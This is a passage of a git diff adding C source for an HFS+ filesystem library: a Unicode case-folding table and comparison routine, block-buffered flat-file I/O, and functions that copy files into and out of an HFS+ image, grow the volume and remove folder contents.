0x059B, 0x059C, 0x059D, 0x059E, 0x059F, + /* A */ 0x05A0, 0x05A1, 0x05A2, 0x05A3, 0x05A4, 0x05A5, 0x05A6, 0x05A7, + 0x05A8, 0x05A9, 0x05AA, 0x05AB, 0x05AC, 0x05AD, 0x05AE, 0x05AF, + /* B */ 0x05B0, 0x05B1, 0x05B2, 0x05B3, 0x05B4, 0x05B5, 0x05B6, 0x05B7, + 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x05BC, 0x05BD, 0x05BE, 0x05BF, + /* C */ 0x05C0, 0x05C1, 0x05C2, 0x05C3, 0x05C4, 0x05C5, 0x05C6, 0x05C7, + 0x05C8, 0x05C9, 0x05CA, 0x05CB, 0x05CC, 0x05CD, 0x05CE, 0x05CF, + /* D */ 0x05D0, 0x05D1, 0x05D2, 0x05D3, 0x05D4, 0x05D5, 0x05D6, 0x05D7, + 0x05D8, 0x05D9, 0x05DA, 0x05DB, 0x05DC, 0x05DD, 0x05DE, 0x05DF, + /* E */ 0x05E0, 0x05E1, 0x05E2, 0x05E3, 0x05E4, 0x05E5, 0x05E6, 0x05E7, + 0x05E8, 0x05E9, 0x05EA, 0x05EB, 0x05EC, 0x05ED, 0x05EE, 0x05EF, + /* F */ 0x05F0, 0x05F1, 0x05F2, 0x05F3, 0x05F4, 0x05F5, 0x05F6, 0x05F7, + 0x05F8, 0x05F9, 0x05FA, 0x05FB, 0x05FC, 0x05FD, 0x05FE, 0x05FF, + + /* 0 */ 0x1000, 0x1001, 0x1002, 0x1003, 0x1004, 0x1005, 0x1006, 0x1007, + 0x1008, 0x1009, 0x100A, 0x100B, 0x100C, 0x100D, 0x100E, 0x100F, + /* 1 */ 0x1010, 0x1011, 0x1012, 0x1013, 0x1014, 0x1015, 0x1016, 0x1017, + 0x1018, 0x1019, 0x101A, 0x101B, 0x101C, 0x101D, 0x101E, 0x101F, + /* 2 */ 0x1020, 0x1021, 0x1022, 0x1023, 0x1024, 0x1025, 0x1026, 0x1027, + 0x1028, 0x1029, 0x102A, 0x102B, 0x102C, 0x102D, 0x102E, 0x102F, + /* 3 */ 0x1030, 0x1031, 0x1032, 0x1033, 0x1034, 0x1035, 0x1036, 0x1037, + 0x1038, 0x1039, 0x103A, 0x103B, 0x103C, 0x103D, 0x103E, 0x103F, + /* 4 */ 0x1040, 0x1041, 0x1042, 0x1043, 0x1044, 0x1045, 0x1046, 0x1047, + 0x1048, 0x1049, 0x104A, 0x104B, 0x104C, 0x104D, 0x104E, 0x104F, + /* 5 */ 0x1050, 0x1051, 0x1052, 0x1053, 0x1054, 0x1055, 0x1056, 0x1057, + 0x1058, 0x1059, 0x105A, 0x105B, 0x105C, 0x105D, 0x105E, 0x105F, + /* 6 */ 0x1060, 0x1061, 0x1062, 0x1063, 0x1064, 0x1065, 0x1066, 0x1067, + 0x1068, 0x1069, 0x106A, 0x106B, 0x106C, 0x106D, 0x106E, 0x106F, + /* 7 */ 0x1070, 0x1071, 0x1072, 0x1073, 0x1074, 0x1075, 0x1076, 0x1077, + 0x1078, 0x1079, 0x107A, 0x107B, 0x107C, 0x107D, 0x107E, 0x107F, + /* 8 */ 0x1080, 0x1081, 0x1082, 0x1083, 0x1084, 0x1085, 0x1086, 0x1087, + 0x1088, 0x1089, 0x108A, 0x108B, 0x108C, 0x108D, 0x108E, 0x108F, + /* 9 */ 0x1090, 0x1091, 0x1092, 0x1093, 0x1094, 0x1095, 0x1096, 0x1097, + 0x1098, 0x1099, 0x109A, 0x109B, 0x109C, 0x109D, 0x109E, 0x109F, + /* A */ 0x10D0, 0x10D1, 0x10D2, 0x10D3, 0x10D4, 0x10D5, 0x10D6, 0x10D7, + 0x10D8, 0x10D9, 0x10DA, 0x10DB, 0x10DC, 0x10DD, 0x10DE, 0x10DF, + /* B */ 0x10E0, 0x10E1, 0x10E2, 0x10E3, 0x10E4, 0x10E5, 0x10E6, 0x10E7, + 0x10E8, 0x10E9, 0x10EA, 0x10EB, 0x10EC, 0x10ED, 0x10EE, 0x10EF, + /* C */ 0x10F0, 0x10F1, 0x10F2, 0x10F3, 0x10F4, 0x10F5, 0x10C6, 0x10C7, + 0x10C8, 0x10C9, 0x10CA, 0x10CB, 0x10CC, 0x10CD, 0x10CE, 0x10CF, + /* D */ 0x10D0, 0x10D1, 0x10D2, 0x10D3, 0x10D4, 0x10D5, 0x10D6, 0x10D7, + 0x10D8, 0x10D9, 0x10DA, 0x10DB, 0x10DC, 0x10DD, 0x10DE, 0x10DF, + /* E */ 0x10E0, 0x10E1, 0x10E2, 0x10E3, 0x10E4, 0x10E5, 0x10E6, 0x10E7, + 0x10E8, 0x10E9, 0x10EA, 0x10EB, 0x10EC, 0x10ED, 0x10EE, 0x10EF, + /* F */ 0x10F0, 0x10F1, 0x10F2, 0x10F3, 0x10F4, 0x10F5, 0x10F6, 0x10F7, + 0x10F8, 0x10F9, 0x10FA, 0x10FB, 0x10FC, 0x10FD, 0x10FE, 0x10FF, + + /* 0 */ 0x2000, 0x2001, 0x2002, 0x2003, 0x2004, 0x2005, 0x2006, 0x2007, + 0x2008, 0x2009, 0x200A, 0x200B, 0x0000, 0x0000, 0x0000, 0x0000, + /* 1 */ 0x2010, 0x2011, 0x2012, 0x2013, 0x2014, 0x2015, 0x2016, 0x2017, + 0x2018, 0x2019, 0x201A, 0x201B, 0x201C, 0x201D, 0x201E, 0x201F, + /* 2 */ 0x2020, 0x2021, 0x2022, 0x2023, 0x2024, 0x2025, 0x2026, 0x2027, + 0x2028, 0x2029, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x202F, + /* 3 */ 0x2030, 0x2031, 0x2032, 0x2033, 0x2034, 0x2035, 0x2036, 0x2037, + 0x2038, 0x2039, 0x203A, 0x203B, 0x203C, 0x203D, 0x203E, 0x203F, + /* 4 */ 0x2040, 0x2041, 0x2042, 0x2043, 0x2044, 0x2045, 0x2046, 0x2047, + 0x2048, 0x2049, 0x204A, 0x204B, 0x204C, 0x204D, 0x204E, 0x204F, + /* 5 */ 0x2050, 0x2051, 0x2052, 0x2053, 0x2054, 0x2055, 0x2056, 0x2057, + 0x2058, 0x2059, 0x205A, 0x205B, 0x205C, 0x205D, 0x205E, 0x205F, + /* 6 */ 0x2060, 0x2061, 0x2062, 0x2063, 0x2064, 0x2065, 0x2066, 0x2067, + 0x2068, 0x2069, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, + /* 7 */ 0x2070, 0x2071, 0x2072, 0x2073, 0x2074, 0x2075, 0x2076, 0x2077, + 0x2078, 0x2079, 0x207A, 0x207B, 0x207C, 0x207D, 0x207E, 0x207F, + /* 8 */ 0x2080, 0x2081, 0x2082, 0x2083, 0x2084, 0x2085, 0x2086, 0x2087, + 0x2088, 0x2089, 0x208A, 0x208B, 0x208C, 0x208D, 0x208E, 0x208F, + /* 9 */ 0x2090, 0x2091, 0x2092, 0x2093, 0x2094, 0x2095, 0x2096, 0x2097, + 0x2098, 0x2099, 0x209A, 0x209B, 0x209C, 0x209D, 0x209E, 0x209F, + /* A */ 0x20A0, 0x20A1, 0x20A2, 0x20A3, 0x20A4, 0x20A5, 0x20A6, 0x20A7, + 0x20A8, 0x20A9, 0x20AA, 0x20AB, 0x20AC, 0x20AD, 0x20AE, 0x20AF, + /* B */ 0x20B0, 0x20B1, 0x20B2, 0x20B3, 0x20B4, 0x20B5, 0x20B6, 0x20B7, + 0x20B8, 0x20B9, 0x20BA, 0x20BB, 0x20BC, 0x20BD, 0x20BE, 0x20BF, + /* C */ 0x20C0, 0x20C1, 0x20C2, 0x20C3, 0x20C4, 0x20C5, 0x20C6, 0x20C7, + 0x20C8, 0x20C9, 0x20CA, 0x20CB, 0x20CC, 0x20CD, 0x20CE, 0x20CF, + /* D */ 0x20D0, 0x20D1, 0x20D2, 0x20D3, 0x20D4, 0x20D5, 0x20D6, 0x20D7, + 0x20D8, 0x20D9, 0x20DA, 0x20DB, 0x20DC, 0x20DD, 0x20DE, 0x20DF, + /* E */ 0x20E0, 0x20E1, 0x20E2, 0x20E3, 0x20E4, 0x20E5, 0x20E6, 0x20E7, + 0x20E8, 0x20E9, 0x20EA, 0x20EB, 0x20EC, 0x20ED, 0x20EE, 0x20EF, + /* F */ 0x20F0, 0x20F1, 0x20F2, 0x20F3, 0x20F4, 0x20F5, 0x20F6, 0x20F7, + 0x20F8, 0x20F9, 0x20FA, 0x20FB, 0x20FC, 0x20FD, 0x20FE, 0x20FF, + + /* 0 */ 0x2100, 0x2101, 0x2102, 0x2103, 0x2104, 0x2105, 0x2106, 0x2107, + 0x2108, 0x2109, 0x210A, 0x210B, 0x210C, 0x210D, 0x210E, 0x210F, + /* 1 */ 0x2110, 0x2111, 0x2112, 0x2113, 0x2114, 0x2115, 0x2116, 0x2117, + 0x2118, 0x2119, 0x211A, 0x211B, 0x211C, 0x211D, 0x211E, 0x211F, + /* 2 */ 0x2120, 0x2121, 0x2122, 0x2123, 0x2124, 0x2125, 0x2126, 0x2127, + 0x2128, 0x2129, 0x212A, 0x212B, 0x212C, 0x212D, 0x212E, 0x212F, + /* 3 */ 0x2130, 0x2131, 0x2132, 0x2133, 0x2134, 0x2135, 0x2136, 0x2137, + 0x2138, 0x2139, 0x213A, 0x213B, 0x213C, 0x213D, 0x213E, 0x213F, + /* 4 */ 0x2140, 0x2141, 0x2142, 0x2143, 0x2144, 0x2145, 0x2146, 0x2147, + 0x2148, 0x2149, 0x214A, 0x214B, 0x214C, 0x214D, 0x214E, 0x214F, + /* 5 */ 0x2150, 0x2151, 0x2152, 0x2153, 0x2154, 0x2155, 0x2156, 0x2157, + 0x2158, 0x2159, 0x215A, 0x215B, 0x215C, 0x215D, 0x215E, 0x215F, + /* 6 */ 0x2170, 0x2171, 0x2172, 0x2173, 0x2174, 0x2175, 0x2176, 0x2177, + 0x2178, 0x2179, 0x217A, 0x217B, 0x217C, 0x217D, 0x217E, 0x217F, + /* 7 */ 0x2170, 0x2171, 0x2172, 0x2173, 0x2174, 0x2175, 0x2176, 0x2177, + 0x2178, 0x2179, 0x217A, 0x217B, 0x217C, 0x217D, 0x217E, 0x217F, + /* 8 */ 0x2180, 0x2181, 0x2182, 0x2183, 0x2184, 0x2185, 0x2186, 0x2187, + 0x2188, 0x2189, 0x218A, 0x218B, 0x218C, 0x218D, 0x218E, 0x218F, + /* 9 */ 0x2190, 0x2191, 0x2192, 0x2193, 0x2194, 0x2195, 0x2196, 0x2197, + 0x2198, 0x2199, 0x219A, 0x219B, 0x219C, 0x219D, 0x219E, 0x219F, + /* A */ 0x21A0, 0x21A1, 0x21A2, 0x21A3, 0x21A4, 0x21A5, 0x21A6, 0x21A7, + 0x21A8, 0x21A9, 0x21AA, 0x21AB, 0x21AC, 0x21AD, 0x21AE, 0x21AF, + /* B */ 0x21B0, 0x21B1, 0x21B2, 0x21B3, 0x21B4, 0x21B5, 0x21B6, 0x21B7, + 0x21B8, 0x21B9, 0x21BA, 0x21BB, 0x21BC, 0x21BD, 0x21BE, 0x21BF, + /* C */ 0x21C0, 0x21C1, 0x21C2, 0x21C3, 0x21C4, 0x21C5, 0x21C6, 0x21C7, + 0x21C8, 0x21C9, 0x21CA, 0x21CB, 0x21CC, 0x21CD, 0x21CE, 0x21CF, + /* D */ 0x21D0, 0x21D1, 0x21D2, 0x21D3, 0x21D4, 0x21D5, 0x21D6, 0x21D7, + 0x21D8, 0x21D9, 0x21DA, 0x21DB, 0x21DC, 0x21DD, 0x21DE, 0x21DF, + /* E */ 0x21E0, 0x21E1, 0x21E2, 0x21E3, 0x21E4, 0x21E5, 0x21E6, 0x21E7, + 0x21E8, 0x21E9, 0x21EA, 0x21EB, 0x21EC, 0x21ED, 0x21EE, 0x21EF, + /* F */ 0x21F0, 0x21F1, 0x21F2, 0x21F3, 0x21F4, 0x21F5, 0x21F6, 0x21F7, + 0x21F8, 0x21F9, 0x21FA, 0x21FB, 0x21FC, 0x21FD, 0x21FE, 0x21FF, + + /* 0 */ 0xFE00, 0xFE01, 0xFE02, 0xFE03, 0xFE04, 0xFE05, 0xFE06, 0xFE07, + 0xFE08, 0xFE09, 0xFE0A, 0xFE0B, 0xFE0C, 0xFE0D, 0xFE0E, 0xFE0F, + /* 1 */ 0xFE10, 0xFE11, 0xFE12, 0xFE13, 0xFE14, 0xFE15, 0xFE16, 0xFE17, + 0xFE18, 0xFE19, 0xFE1A, 0xFE1B, 0xFE1C, 0xFE1D, 0xFE1E, 0xFE1F, + /* 2 */ 0xFE20, 0xFE21, 0xFE22, 0xFE23, 0xFE24, 0xFE25, 0xFE26, 0xFE27, + 0xFE28, 0xFE29, 0xFE2A, 0xFE2B, 0xFE2C, 0xFE2D, 0xFE2E, 0xFE2F, + /* 3 */ 0xFE30, 0xFE31, 0xFE32, 0xFE33, 0xFE34, 0xFE35, 0xFE36, 0xFE37, + 0xFE38, 0xFE39, 0xFE3A, 0xFE3B, 0xFE3C, 0xFE3D, 0xFE3E, 0xFE3F, + /* 4 */ 0xFE40, 0xFE41, 0xFE42, 0xFE43, 0xFE44, 0xFE45, 0xFE46, 0xFE47, + 0xFE48, 0xFE49, 0xFE4A, 0xFE4B, 0xFE4C, 0xFE4D, 0xFE4E, 0xFE4F, + /* 5 */ 0xFE50, 0xFE51, 0xFE52, 0xFE53, 0xFE54, 0xFE55, 0xFE56, 0xFE57, + 0xFE58, 0xFE59, 0xFE5A, 0xFE5B, 0xFE5C, 0xFE5D, 0xFE5E, 0xFE5F, + /* 6 */ 0xFE60, 0xFE61, 0xFE62, 0xFE63, 0xFE64, 0xFE65, 0xFE66, 0xFE67, + 0xFE68, 0xFE69, 0xFE6A, 0xFE6B, 0xFE6C, 0xFE6D, 0xFE6E, 0xFE6F, + /* 7 */ 0xFE70, 0xFE71, 0xFE72, 0xFE73, 0xFE74, 0xFE75, 0xFE76, 0xFE77, + 0xFE78, 0xFE79, 0xFE7A, 0xFE7B, 0xFE7C, 0xFE7D, 0xFE7E, 0xFE7F, + /* 8 */ 0xFE80, 0xFE81, 0xFE82, 0xFE83, 0xFE84, 0xFE85, 0xFE86, 0xFE87, + 0xFE88, 0xFE89, 0xFE8A, 0xFE8B, 0xFE8C, 0xFE8D, 0xFE8E, 0xFE8F, + /* 9 */ 0xFE90, 0xFE91, 0xFE92, 0xFE93, 0xFE94, 0xFE95, 0xFE96, 0xFE97, + 0xFE98, 0xFE99, 0xFE9A, 0xFE9B, 0xFE9C, 0xFE9D, 0xFE9E, 0xFE9F, + /* A */ 0xFEA0, 0xFEA1, 0xFEA2, 0xFEA3, 0xFEA4, 0xFEA5, 0xFEA6, 0xFEA7, + 0xFEA8, 0xFEA9, 0xFEAA, 0xFEAB, 0xFEAC, 0xFEAD, 0xFEAE, 0xFEAF, + /* B */ 0xFEB0, 0xFEB1, 0xFEB2, 0xFEB3, 0xFEB4, 0xFEB5, 0xFEB6, 0xFEB7, + 0xFEB8, 0xFEB9, 0xFEBA, 0xFEBB, 0xFEBC, 0xFEBD, 0xFEBE, 0xFEBF, + /* C */ 0xFEC0, 0xFEC1, 0xFEC2, 0xFEC3, 0xFEC4, 0xFEC5, 0xFEC6, 0xFEC7, + 0xFEC8, 0xFEC9, 0xFECA, 0xFECB, 0xFECC, 0xFECD, 0xFECE, 0xFECF, + /* D */ 0xFED0, 0xFED1, 0xFED2, 0xFED3, 0xFED4, 0xFED5, 0xFED6, 0xFED7, + 0xFED8, 0xFED9, 0xFEDA, 0xFEDB, 0xFEDC, 0xFEDD, 0xFEDE, 0xFEDF, + /* E */ 0xFEE0, 0xFEE1, 0xFEE2, 0xFEE3, 0xFEE4, 0xFEE5, 0xFEE6, 0xFEE7, + 0xFEE8, 0xFEE9, 0xFEEA, 0xFEEB, 0xFEEC, 0xFEED, 0xFEEE, 0xFEEF, + /* F */ 0xFEF0, 0xFEF1, 0xFEF2, 0xFEF3, 0xFEF4, 0xFEF5, 0xFEF6, 0xFEF7, + 0xFEF8, 0xFEF9, 0xFEFA, 0xFEFB, 0xFEFC, 0xFEFD, 0xFEFE, 0x0000, + + /* 0 */ 0xFF00, 0xFF01, 0xFF02, 0xFF03, 0xFF04, 0xFF05, 0xFF06, 0xFF07, + 0xFF08, 0xFF09, 0xFF0A, 0xFF0B, 0xFF0C, 0xFF0D, 0xFF0E, 0xFF0F, + /* 1 */ 0xFF10, 0xFF11, 0xFF12, 0xFF13, 0xFF14, 0xFF15, 0xFF16, 0xFF17, + 0xFF18, 0xFF19, 0xFF1A, 0xFF1B, 0xFF1C, 0xFF1D, 0xFF1E, 0xFF1F, + /* 2 */ 0xFF20, 0xFF41, 0xFF42, 0xFF43, 0xFF44, 0xFF45, 0xFF46, 0xFF47, + 0xFF48, 0xFF49, 0xFF4A, 0xFF4B, 0xFF4C, 0xFF4D, 0xFF4E, 0xFF4F, + /* 3 */ 0xFF50, 0xFF51, 0xFF52, 0xFF53, 0xFF54, 0xFF55, 0xFF56, 0xFF57, + 0xFF58, 0xFF59, 0xFF5A, 0xFF3B, 0xFF3C, 0xFF3D, 0xFF3E, 0xFF3F, + /* 4 */ 0xFF40, 0xFF41, 0xFF42, 0xFF43, 0xFF44, 0xFF45, 0xFF46, 0xFF47, + 0xFF48, 0xFF49, 0xFF4A, 0xFF4B, 0xFF4C, 0xFF4D, 0xFF4E, 0xFF4F, + /* 5 */ 0xFF50, 0xFF51, 0xFF52, 0xFF53, 0xFF54, 0xFF55, 0xFF56, 0xFF57, + 0xFF58, 0xFF59, 0xFF5A, 0xFF5B, 0xFF5C, 0xFF5D, 0xFF5E, 0xFF5F, + /* 6 */ 0xFF60, 0xFF61, 0xFF62, 0xFF63, 0xFF64, 0xFF65, 0xFF66, 0xFF67, + 0xFF68, 0xFF69, 0xFF6A, 0xFF6B, 0xFF6C, 0xFF6D, 0xFF6E, 0xFF6F, + /* 7 */ 0xFF70, 0xFF71, 0xFF72, 0xFF73, 0xFF74, 0xFF75, 0xFF76, 0xFF77, + 0xFF78, 0xFF79, 0xFF7A, 0xFF7B, 0xFF7C, 0xFF7D, 0xFF7E, 0xFF7F, + /* 8 */ 0xFF80, 0xFF81, 0xFF82, 0xFF83, 0xFF84, 0xFF85, 0xFF86, 0xFF87, + 0xFF88, 0xFF89, 0xFF8A, 0xFF8B, 0xFF8C, 0xFF8D, 0xFF8E, 0xFF8F, + /* 9 */ 0xFF90, 0xFF91, 0xFF92, 0xFF93, 0xFF94, 0xFF95, 0xFF96, 0xFF97, + 0xFF98, 0xFF99, 0xFF9A, 0xFF9B, 0xFF9C, 0xFF9D, 0xFF9E, 0xFF9F, + /* A */ 0xFFA0, 0xFFA1, 0xFFA2, 0xFFA3, 0xFFA4, 0xFFA5, 0xFFA6, 0xFFA7, + 0xFFA8, 0xFFA9, 0xFFAA, 0xFFAB, 0xFFAC, 0xFFAD, 0xFFAE, 0xFFAF, + /* B */ 0xFFB0, 0xFFB1, 0xFFB2, 0xFFB3, 0xFFB4, 0xFFB5, 0xFFB6, 0xFFB7, + 0xFFB8, 0xFFB9, 0xFFBA, 0xFFBB, 0xFFBC, 0xFFBD, 0xFFBE, 0xFFBF, + /* C */ 0xFFC0, 0xFFC1, 0xFFC2, 0xFFC3, 0xFFC4, 0xFFC5, 0xFFC6, 0xFFC7, + 0xFFC8, 0xFFC9, 0xFFCA, 0xFFCB, 0xFFCC, 0xFFCD, 0xFFCE, 0xFFCF, + /* D */ 0xFFD0, 0xFFD1, 0xFFD2, 0xFFD3, 0xFFD4, 0xFFD5, 0xFFD6, 0xFFD7, + 0xFFD8, 0xFFD9, 0xFFDA, 0xFFDB, 0xFFDC, 0xFFDD, 0xFFDE, 0xFFDF, + /* E */ 0xFFE0, 0xFFE1, 0xFFE2, 0xFFE3, 0xFFE4, 0xFFE5, 0xFFE6, 0xFFE7, + 0xFFE8, 0xFFE9, 0xFFEA, 0xFFEB, 0xFFEC, 0xFFED, 0xFFEE, 0xFFEF, + /* F */ 0xFFF0, 0xFFF1, 0xFFF2, 0xFFF3, 0xFFF4, 0xFFF5, 0xFFF6, 0xFFF7, + 0xFFF8, 0xFFF9, 0xFFFA, 0xFFFB, 0xFFFC, 0xFFFD, 0xFFFE, 0xFFFF, +}; + +int32_t FastUnicodeCompare ( register uint16_t str1[], register uint16_t length1, + register uint16_t str2[], register uint16_t length2) +{ + register uint16_t c1,c2; + register uint16_t temp; + register uint16_t* lowerCaseTable; + + lowerCaseTable = gLowerCaseTable; + + while (1) { + c1 = 0; + c2 = 0; + while (length1 && c1 == 0) { + c1 = *(str1++); + --length1; + if ((temp = lowerCaseTable[c1>>8]) != 0) + c1 = lowerCaseTable[temp + (c1 & 0x00FF)]; + } + while (length2 && c2 == 0) { + c2 = *(str2++); + --length2; + if ((temp = lowerCaseTable[c2>>8]) != 0) + c2 = lowerCaseTable[temp + (c2 & 0x00FF)]; + } + if (c1 == ':') { + c1 = '/'; + } + if (c2 == ':') { + c2 = '/'; + } + if (c1 != c2) + break; + if (c1 == 0) + return 0; + } + if (c1 < c2) + return -1; + else + return 1; +} diff --git a/hfs/flatfile.c b/hfs/flatfile.c new file mode 100644 index 0000000..a6c8cd2 --- /dev/null +++ b/hfs/flatfile.c @@ -0,0 +1,106 @@ +#include +#include +#include "hfsplus.h" + +#define BLOCKSIZE 8192 + +#define min(a, b) ((a) < (b) ? (a) : (b)) + +struct ffinfo { + int fd; + off_t last_bloc; + char dirty; + char scratch[BLOCKSIZE]; +}; + +static int flatFileRW(io_func* io, off_t location, size_t size, void *buffer, int iswrite) { + struct ffinfo *info = (void *) io->data; + char *buf = buffer; + + if(size == 0) { + return TRUE; + } + + while(size) { + off_t bloc = location & ~(BLOCKSIZE - 1); + + if(info->last_bloc != bloc) { + if(info->dirty) { + if(pwrite(info->fd, info->scratch, BLOCKSIZE, info->last_bloc) != BLOCKSIZE) { + perror("pwrite"); + return FALSE; + } + } + if(pread(info->fd, info->scratch, BLOCKSIZE, bloc) != BLOCKSIZE) { + perror("pread"); + return FALSE; + } + info->last_bloc = bloc; + } + + int s = (location & (BLOCKSIZE - 1)); + int z = min(size, BLOCKSIZE - s); + //printf("s=%d z=%d w=%d\n", s, z, (int)iswrite); + if(iswrite) { + memcpy(info->scratch + s, buf, z); + info->dirty = 1; + } else { + memcpy(buf, info->scratch + s, z); + } + + location += z; + size -= z; + buf += z; + } + + return TRUE; +} + +static int flatFileRead(io_func* io, off_t location, size_t size, void *buffer) { + return flatFileRW(io, location, size, buffer, 0); +} + +static int flatFileWrite(io_func* io, off_t location, size_t size, void *buffer) { + return flatFileRW(io, location, size, buffer, 1); +} + +static void closeFlatFile(io_func* io) { + int fd; + struct ffinfo *info = (void *) io->data; + if(info->dirty && info->last_bloc != (off_t) -1) { + if(pwrite(info->fd, info->scratch, BLOCKSIZE, info->last_bloc) != BLOCKSIZE) { + perror("pwrite"); + } + } + + close(info->fd); + free(info); + free(io); +} + +io_func* openFlatFile(const char* fileName) { + io_func* io; + + io = (io_func*) malloc(sizeof(io_func)); + + int fd = open(fileName, O_RDWR); + + if(fd == -1) { + perror("open"); + return NULL; + } + + struct ffinfo *info = malloc(sizeof(struct ffinfo)); + info->fd = fd; + info->last_bloc = -1; + info->dirty = 0; + io->data = info; + + io->read = &flatFileRead; + io->write = &flatFileWrite; + io->close = &closeFlatFile; + + return io; +} + +// vim: tabstop=2:softtabstop=2:shiftwidth=2:expandtab diff --git a/hfs/hfslib.c b/hfs/hfslib.c new file mode 100644 index 0000000..7d6454d --- /dev/null +++ b/hfs/hfslib.c @@ -0,0 +1,648 @@ +#include +#include +#include +#include +#include +#include "common.h" +#include "hfsplus.h" +#include "abstractfile.h" +#include +#include + +#define BUFSIZE 1024*1024 + +void writeToFile(HFSPlusCatalogFile* file, AbstractFile* output, Volume* volume) { + unsigned char* buffer; + io_func* io; + off_t curPosition; + size_t bytesLeft; + + buffer = (unsigned char*) malloc(BUFSIZE); + + io = openRawFile(file->fileID, &file->dataFork, (HFSPlusCatalogRecord*)file, volume); + if(io == NULL) { + hfs_panic("error opening file"); + free(buffer); + return; + } + + curPosition = 0; + bytesLeft = file->dataFork.logicalSize; + + while(bytesLeft > 0) { + if(bytesLeft > BUFSIZE) { + if(!READ(io, curPosition, BUFSIZE, buffer)) { + hfs_panic("error reading"); + } + if(output->write(output, buffer, BUFSIZE) != BUFSIZE) { + hfs_panic("error writing"); + } + curPosition += BUFSIZE; + bytesLeft -= BUFSIZE; + } else { + if(!READ(io, curPosition, bytesLeft, buffer)) { + hfs_panic("error reading"); + } + if(output->write(output, buffer, bytesLeft) != bytesLeft) { + hfs_panic("error writing"); + } + curPosition += bytesLeft; + bytesLeft -= bytesLeft; + } + } + CLOSE(io); + + free(buffer); +} + +void writeToHFSFile(HFSPlusCatalogFile* file, AbstractFile* input, Volume* volume) { + unsigned char *buffer; + io_func* io; + off_t curPosition; + off_t bytesLeft; + + buffer = (unsigned char*) malloc(BUFSIZE); + + bytesLeft = input->getLength(input); + + io = openRawFile(file->fileID, &file->dataFork, (HFSPlusCatalogRecord*)file, volume); + if(io == NULL) { + hfs_panic("error opening file"); + free(buffer); + return; + } + + curPosition = 0; + + allocate((RawFile*)io->data, bytesLeft); + + while(bytesLeft > 0) { + if(bytesLeft > BUFSIZE) { + if(input->read(input, buffer, BUFSIZE) != BUFSIZE) { + hfs_panic("error reading"); + } + if(!WRITE(io, curPosition, BUFSIZE, buffer)) { + hfs_panic("error writing"); + } + curPosition += BUFSIZE; + bytesLeft -= BUFSIZE; + } else { + if(input->read(input, buffer, (size_t)bytesLeft) != (size_t)bytesLeft) { + hfs_panic("error reading"); + } + if(!WRITE(io, curPosition, (size_t)bytesLeft, buffer)) { + hfs_panic("error reading"); + } + curPosition += bytesLeft; + bytesLeft -= bytesLeft; + } + } + + CLOSE(io); + + free(buffer); +} + +void get_hfs(Volume* volume, const char* inFileName, AbstractFile* output) { + HFSPlusCatalogRecord* record; + + record = getRecordFromPath(inFileName, volume, NULL, NULL); + + if(record != NULL) { + if(record->recordType == kHFSPlusFileRecord) + writeToFile((HFSPlusCatalogFile*)record, output, volume); + else { + printf("Not a file\n"); + exit(0); + } + } else { + printf("No such file or directory\n"); + exit(0); + } + + free(record); +} + +int add_hfs(Volume* volume, AbstractFile* inFile, const char* outFileName) { + HFSPlusCatalogRecord* record; + int ret; + + record = getRecordFromPath(outFileName, volume, NULL, NULL); + + if(record != NULL) { + if(record->recordType == kHFSPlusFileRecord) { + writeToHFSFile((HFSPlusCatalogFile*)record, inFile, volume); + ret = TRUE; + } else { + printf("Not a file\n"); + exit(0); + } + } else { + if(newFile(outFileName, volume)) { + record = getRecordFromPath(outFileName, volume, NULL, NULL); + writeToHFSFile((HFSPlusCatalogFile*)record, inFile, volume); + ret = TRUE; + } else { + ret = FALSE; + } + } + + inFile->close(inFile); + if(record != NULL) { + free(record); + } + + return ret; +} + +void grow_hfs(Volume* volume, uint64_t newSize) { + uint32_t newBlocks; + uint32_t blocksToGrow; + uint64_t newMapSize; + uint64_t i; + unsigned char zero; + + zero = 0; + + newBlocks = newSize / volume->volumeHeader->blockSize; + + if(newBlocks <= volume->volumeHeader->totalBlocks) { + printf("Cannot shrink volume\n"); + return; + } + + blocksToGrow = newBlocks - volume->volumeHeader->totalBlocks; + newMapSize = newBlocks / 8; + + if(volume->volumeHeader->allocationFile.logicalSize < newMapSize) { + if(volume->volumeHeader->freeBlocks + < ((newMapSize - volume->volumeHeader->allocationFile.logicalSize) / volume->volumeHeader->blockSize)) { + printf("Not enough room to allocate new allocation map blocks\n"); + exit(0); + } + + allocate((RawFile*) (volume->allocationFile->data), newMapSize); + } + + /* unreserve last block */ + setBlockUsed(volume, volume->volumeHeader->totalBlocks - 1, 0); + /* don't need to increment freeBlocks because we will allocate another alternate volume header later on */ + + /* "unallocate" the new blocks */ + for(i = ((volume->volumeHeader->totalBlocks / 8) + 1); i < newMapSize; i++) { + ASSERT(WRITE(volume->allocationFile, i, 1, &zero), "WRITE"); + } + + /* grow backing store size */ + ASSERT(WRITE(volume->image, newSize - 1, 1, &zero), "WRITE"); + + /* write new volume information */ + volume->volumeHeader->totalBlocks = newBlocks; + volume->volumeHeader->freeBlocks += blocksToGrow; + + /* reserve last block */ + setBlockUsed(volume, volume->volumeHeader->totalBlocks - 1, 1); + + updateVolume(volume); +} + +void removeAllInFolder(HFSCatalogNodeID folderID, Volume* volume, const char* parentName) { + CatalogRecordList* list; + CatalogRecordList* theList; + char fullName[1024]; + char* name; + char* pathComponent; + int pathLen; + char isRoot; + + HFSPlusCatalogFolder* folder; + theList = list = getFolderContents(folderID, volume); + + strcpy(fullName, parentName); + pathComponent = fullName + strlen(fullName); + + isRoot = FALSE; + if(strcmp(fullName, "/") == 0) { + isRoot = TRUE; + } + + while(list != NULL) { + name = unicodeToAscii(&list->name); + if(isRoot && (name[0] == '\0' || strncmp(name, ".HFS+ Private Directory Data", sizeof(".HFS+ Private Directory Data") - 1) == 0)) { + free(name); + list = list->next; + continue; + } + + strcpy(pathComponent, name); + pathLen = strlen(fullName); + + if(list->record->recordType == kHFSPlusFolderRecord) { + folder = (HFSPlusCatalogFolder*)list->record; + fullName[pathLen] = '/'; + fullName[pathLen + 1] = '\0'; + removeAllInFolder(folder->folderID, volume, fullName); + } else { + printf("%s\n", fullName); + removeFile(fullName, volume); + } + + free(name); + list = list->next; + } + + releaseCatalogRecordList(theList); + + if(!isRoot) { + *(pathComponent - 1) = '\0'; + printf("%s\n", fullName); + removeFile(fullName, volume); + } +} + + +void addAllInFolder(HFSCatalogNodeID folderID, Volume* volume, const char* parentName) { + CatalogRecordList* list; + CatalogRecordList* theList; + char cwd[1024]; + char fullName[1024]; + char testBuffer[1024]; + char* pathComponent; + int pathLen; + + char* name; + + 